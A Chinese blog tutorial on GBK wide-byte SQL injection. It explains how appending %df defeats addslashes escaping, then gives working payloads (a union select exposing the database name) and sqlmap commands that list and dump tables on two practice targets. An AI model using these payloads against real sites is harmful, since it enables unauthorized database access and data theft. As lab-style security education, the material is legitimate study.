码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 宽字节注入


    📔前言

        在学习宽字节注入前我们需要先了解一下mysql中常常用来转义的函数有以下几种:addslashes、mysql_real_escape_string、mysql_escape_string以及后面在高版本被去除的magic_quote_gpc,常用的是addslashes,它的定义是返回在预定义字符之前添加反斜杠的字符串,预定义字符是:单引号(')、双引号(")、反斜杠(\)、NULL

    PHP addslashes() 函数https://www.w3school.com.cn/php/func_string_addslashes.asp

    📔原理

    • 根据MySQL中的GBK编码的特性来实现绕过转义限制
    • GBK:一个汉字=2个字节
    • 当我们输入单引号时,mysql会调用转义函数,将单引号变为',其中的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击,也可以使用url解码后的%df(�)来进行绕过

    GBK 编码范围, GBK 编码表GBK编码采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.phpGBK 编码表 - 在线工具GBK编码表http://106.14.124.170/Encoding/GBK

    📔方法

    1. 在限制的符号前面加一个ascii码大于128的和反斜线才会被编码成一个汉字
    2. id=1%df'
    3. id=1�'

    📔实验

    📓靶场一

    chinalover.sinaapp.com/SQL-GBK/index.php?http://chinalover.sinaapp.com/SQL-GBK/index.php?

    1. #直接测试
    2. id=1'

    1. #添加%df
    2. id=1�'

    📓靶场二

    SQL注入之宽字节(GBK)注入https://labs.do-ta.com/index/course/detail/id/110

    id=1%df'

    1. #此时我们可以看出有报错提示说明我们单引号逃逸成功了,那么直接联合查询出数据
    2. id=-1%df' union select 1,database(),3%23

    • 啥话不说上针管(sqlmap)
    1. #注入获取库中的表
    2. python sqlmap.py -u "http://120.25.24.45:30206/index.php?id=1%df'" --tables -D "sql-kuanzijiegbk-1" -v 0

    1. #注入获取我们的key表数据
    2. python sqlmap.py -u "http://120.25.24.45:30206/index.php?id=1%df'" -T "key" -D "sql-kuanzijiegbk-1" -v 0 --dump

     

  • 相关阅读:
    RK3566调试eeprom
    MySQl有哪些索引(种类)?索引特点?为什么要使用索引?
    微信小程序如何在切换页面后原页面状态不变
    LeetCode142:环形链表II
    PowerMockito when 不生效原因
    Git分支工作流的一些笔记
    【Java面试】RDB 和 AOF 的实现原理、优缺点
    Vue Admin分享
    【Go 基础篇】Go语言闭包详解:共享状态与函数式编程
    pyvista
  • 原文地址:https://blog.csdn.net/newlife1441/article/details/126231981
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号